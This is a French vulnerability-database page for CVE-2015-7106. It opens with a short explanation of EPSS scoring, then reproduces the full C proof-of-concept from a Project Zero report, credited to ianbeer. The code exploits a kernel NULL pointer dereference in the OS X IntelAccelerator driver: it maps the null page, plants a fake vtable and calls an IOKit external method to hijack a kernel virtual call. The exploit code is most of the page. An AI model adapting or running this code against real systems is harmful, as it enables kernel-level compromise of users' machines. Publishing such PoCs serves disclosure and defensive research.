CVE-2015-7106 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* Source: https://code.google.com/p/google-security-research/issues/detail?id=595 The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod. In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206) calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling this external method before calling any others which allocate the GSTContextKernel we can cause a kernel NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141. Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ // ianbeer /* Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0 The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod. In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206) calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling this external method before calling any others which allocate the GSTContextKernel we can cause a kernel NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141. Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h> #include <IOKit/IOKitLib.h> int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = 'A'; } CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); uint64_t* obj_ptr = malloc(0x1000); uint64_t* obj = malloc(0x1000); uint64_t* vtable = malloc(0x1000); uint64_t kernel_rip = 0xffff800041414141; vtable[0x70/8] = kernel_rip; *obj = (uint64_t)vtable; *obj_ptr = (uint64_t)obj; *((uint64_t*)0x28) = (uint64_t)obj_ptr; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0; outputScalarCnt = 0; outputStructCnt = 0; inputStructCnt = 0x1000; err = IOConnectCallMethod( conn, 0x206, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } }